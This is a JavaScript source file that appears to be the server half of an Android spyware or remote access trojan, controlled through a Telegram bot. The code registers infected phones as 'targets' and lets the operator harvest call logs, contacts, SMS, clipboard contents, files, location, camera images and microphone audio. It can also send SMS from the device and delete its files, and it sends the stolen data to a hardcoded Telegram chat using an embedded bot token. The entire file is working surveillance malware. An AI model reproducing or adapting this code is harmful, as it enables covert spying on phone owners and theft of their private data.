const socket = require('ws'),
http = require('http'),
express = require('express'),
TelegramBot = require('node-telegram-bot-api'),
multer = require('multer'),
bodyParser = require('body-parser'),
uuid4 = require('uuid'),
axios = require('axios')
const upload = multer();
const app = express()
app.use(bodyParser.json());
const server = http.createServer(app);
const wss = new socket.Server({server});
const chatId = '5265371934'
const token = '5171666407:AAFbQ6iLPo2r9DazrMN9sPhtYdWLy_uxGf8'
const serverAddr = ''
const bot = new TelegramBot(token, {polling: true});
// request -------------------------------------------------------------------
app.get("/", (canCreateDiscussions, jobServer) => {
jobServer.send("everything is fine now edit the apk src");
});
app.post("/sendFile", upload.single("file"), (doc, originalHttpRequest) => {
var key = doc.file.originalname;
bot.sendDocument(chatId, doc.file.buffer, {}, {
filename : key,
contentType : "application/txt"
}).catch(function(animate_param) {
console.log(animate_param);
});
originalHttpRequest.send(key);
});
app.post("/sendText", (versionRes, cellRowMask) => {
bot.sendMessage(chatId, versionRes.body.data, {
parse_mode : "HTML"
});
cellRowMask.send(versionRes.body.data);
});
app.post("/sendLocation", (data, jobServer) => {
bot.sendLocation(chatId, data.body.l1, data.body.l2);
jobServer.send(data.body.l1.toString());
});
server.listen(process.env.PORT || 8999, () => {
console.log("Server started on port " + server.address().port);
});
wss.on("connection", (prandom, connection) => {
prandom.uuid = uuid4.v4();
bot.sendMessage(chatId, "New Target Connected \ud83d\udcf1\n\nID = " + prandom.uuid + "
\nIP = " + connection.socket.remoteAddress.toString().replaceAll("f", "").replaceAll(":", "") + " \ud83c\udf10", {
parse_mode : "HTML"
});
});
setInterval(() => {
wss.clients.forEach((jobServer) => {
jobServer.send("be alive");
});
}, 2000);
bot.on("message", (message) => {
if (message.text === "/start") {
bot.sendMessage(chatId, "Welcome", {
reply_markup : {
keyboard : [["Status \u2699"], ["Action \u2604"]]
}
});
}
if (message.text === "Status \u2699") {
const _0x2dccb1 = wss.clients.size;
let final_text = "";
if (_0x2dccb1 > 0) {
final_text = final_text + ("" + _0x2dccb1 + " Online Client \u2705\n\n");
wss.clients.forEach((prandom) => {
final_text = final_text + ("ID => " + prandom.uuid + "
\n\n");
});
} else {
final_text = final_text + "No Online Client \u274c";
}
bot.sendMessage(chatId, final_text, {
parse_mode : "HTML"
});
}
if (message.text === "Action \u2604") {
const _0x2768bb = wss.clients.size;
if (_0x2768bb > 0) {
let inline_keyboard = [[{
text : "Call Log \ud83d\udcde",
callback_data : "cl"
}, {
text : "All Contact \ud83d\udc64",
callback_data : "gc"
}], [{
text : "All Sms \ud83d\udcac",
callback_data : "as"
}, {
text : "Send Sms \ud83d\udcac",
callback_data : "ss"
}], [{
text : "Installed Apps \ud83d\udcf2",
callback_data : "ia"
}, {
text : "Device Model \ud83d\udcf1",
callback_data : "dm"
}], [{
text : "Get Folder / File \ud83d\udcc4",
callback_data : "gf"
}, {
text : "Delete Folder / File \ud83d\uddd1",
callback_data : "df"
}], [{
text : "Main Camera \ud83d\udcf7",
callback_data : "cam1"
}, {
text : "Front Camera \ud83e\udd33",
callback_data : "cam2"
}], [{
text : "Mic 1 \ud83c\udfa4",
callback_data : "mi1"
}, {
text : "Mic 2 \ud83c\udfa4",
callback_data : "mi2"
}, {
text : "Mic 3 \ud83c\udfa4",
callback_data : "mi3"
}], [{
text : "Clip Board \ud83d\udcc4",
callback_data : "cp"
}]];
wss.clients.forEach((prandom) => {
bot.sendMessage(chatId, "\u2604 Select Action For Device :\n&" + prandom.uuid, {
reply_markup : {
inline_keyboard : inline_keyboard
},
parse_mode : "HTML"
});
});
} else {
bot.sendMessage(chatId, "No Online Client \u274c", {
parse_mode : "HTML"
});
}
}
if (message.reply_to_message) {
if (message.reply_to_message.text.split("&")[0] === "ss") {
const sessionToken = message.text.split("]")[0].split("[")[1];
const uuid = message.reply_to_message.text.split("!")[0].split("&")[1];
wss.clients.forEach((socket) => {
if (socket.uuid === uuid) {
socket.send("ss&" + sessionToken);
}
});
bot.sendMessage(chatId, "Your Request Is On Progress !", {
reply_markup : {
keyboard : [["Status \u2699"], ["Action \u2604"]]
}
});
}
if (message.reply_to_message.text.split("&")[0] === "df" || message.reply_to_message.text.split("&")[0] === "gf") {
const componentsStr = message.reply_to_message.text;
const DATASETS_BASE = componentsStr.split("!")[0].split("&")[0];
const uuid = componentsStr.split("!")[0].split("&")[1];
const id = message.text;
wss.clients.forEach((socket) => {
if (socket.uuid === uuid) {
socket.send(DATASETS_BASE + "&" + id);
}
});
bot.sendMessage(chatId, "Your Request Is On Progress !", {
reply_markup : {
keyboard : [["Status ⚙"], ["Action ☄"]]
}
});
}
}
});
bot.on("callback_query", function notify(eventArgs) {
const match = eventArgs.data;
const id = eventArgs.message.text.split("&")[1];
wss.clients.forEach((t) => {
if (t.uuid === id) {
if (match === "ss") {
bot.sendMessage(chatId, "ss&" + t.uuid + '!\n\nAction Send Sms\n\ud83d\udd35 Please Reply\n [{"number":"target number","message":"your message"}]
', {
reply_markup : {
force_reply : true
},
parse_mode : "HTML"
});
} else {
if (match === "gf") {
bot.sendMessage(chatId, "gf&" + t.uuid + "!\n\nAction Get File / Folder\n\ud83d\udd35 Please Reply File / Folder Path:", {
reply_markup : {
force_reply : true
},
parse_mode : "HTML"
});
} else {
if (match === "df") {
bot.sendMessage(chatId, "df&" + t.uuid + "!\nAction Delete File / Folder\n\ud83d\udd35 Please Reply File / Folder Path:", {
reply_markup : {
force_reply : true
},
parse_mode : "HTML"
});
} else {
t.send(match);
}
}
}
}
});
});
setInterval(() => {
axios.get(serverAddr);
}, 120000);